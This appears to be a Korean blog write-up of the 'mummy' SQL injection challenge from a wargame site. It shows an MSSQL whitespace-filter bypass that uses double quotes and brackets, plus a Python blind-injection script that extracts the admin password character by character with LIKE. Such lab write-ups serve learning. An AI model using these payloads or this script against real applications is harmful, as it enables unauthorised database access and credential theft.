mummy
멈미 문제는 공백으로 치환될 수 있는 문자들을 필터링 하고 있다.
따라서, HEX 값으로 20 (10진수로 32) 보다 작은 값이 입력되면 %01~%20 ... at mssql 메시지 출력된다.

괄호() 문자와 슬래쉬/ 문자도 필터링 중이므로, SELECT(1) 혹은 SELECT/**/1 형태의 쿼리도 입력할 수 없다.
이런 경우에는 어떻게 공백 우회를 할 수 있을까?
MSSQL에서는 [] "" 문자를 공백 대신 사용할 수 있는데, sqltest.net 에서 테스트를 진행한 결과는 아래와 같다.
홑따옴표를 사용하면 홑따옴표 안의 값을 문자로 인식하지만, 쌍따옴표(“)나 대괄호([])는 컬럼, 테이블 값으로 인식한다.

위 내용을 토대로 아래와 같이 쿼리문을 작성할 수 있다.
(페이로드) SELECT"id"FROM"prob_mummy"

이제 적절한 쿼리문을 작성해서 “admin” 계정의 패스워드를 추출해야 한다.
여기서는 공백을 사용할 수 없고 바로 테이블명이나 컬럼명을 사용해야 하기 때문에 LEN(…), ASCII(…) 함수를 사용하기 어렵다.
따라서, 그 함수들 대신에 LIKE/RLIKE/REGEXP 등을 사용해볼 수 있겠다. (문제에서는 LIKE 를 사용했다.)

파이썬 자동화 스크립트를 간단히 작성하면 아래와 같다.
( 이전 문제와 동일하게 패스워드 길이가 16이었다. )
import requests
import string
t_url = 'https://los.rubiya.kr/chall/mummy_2e13c2a4483d845ce2d37f7c910f0f83.php'
cookie = {'PHPSESSID' : 'COOKIE_VALUE'}
wordlist = string.ascii_letters + string.digits
v = ''
for i in range(1, 17):
for w in wordlist:
payload = ( f"?query=%22id%22FROM%22prob_mummy%22WHERE%22id%22=%27admin%27AND%22pw%22LIKE%27{v}{w}%25%27" )
r = requests.get(t_url + payload, cookies=cookie)
if "Hello anonymous" in r.text:
v += w
print(f"Extracted admin's password: {v}")
break
'''실행 결과
Extracted admin's password: c
[ . . . ]
Extracted admin's password: c7218c3d1987bb5f
'''추출한 패스워드 pw 파라미터에 입력 후 요청을 보내면 MUMMY 문제도 클리어 성공이다!
( 이제 4문제.. 남았다.. 후하후하 )

🐛.. 🐛.. 🐛..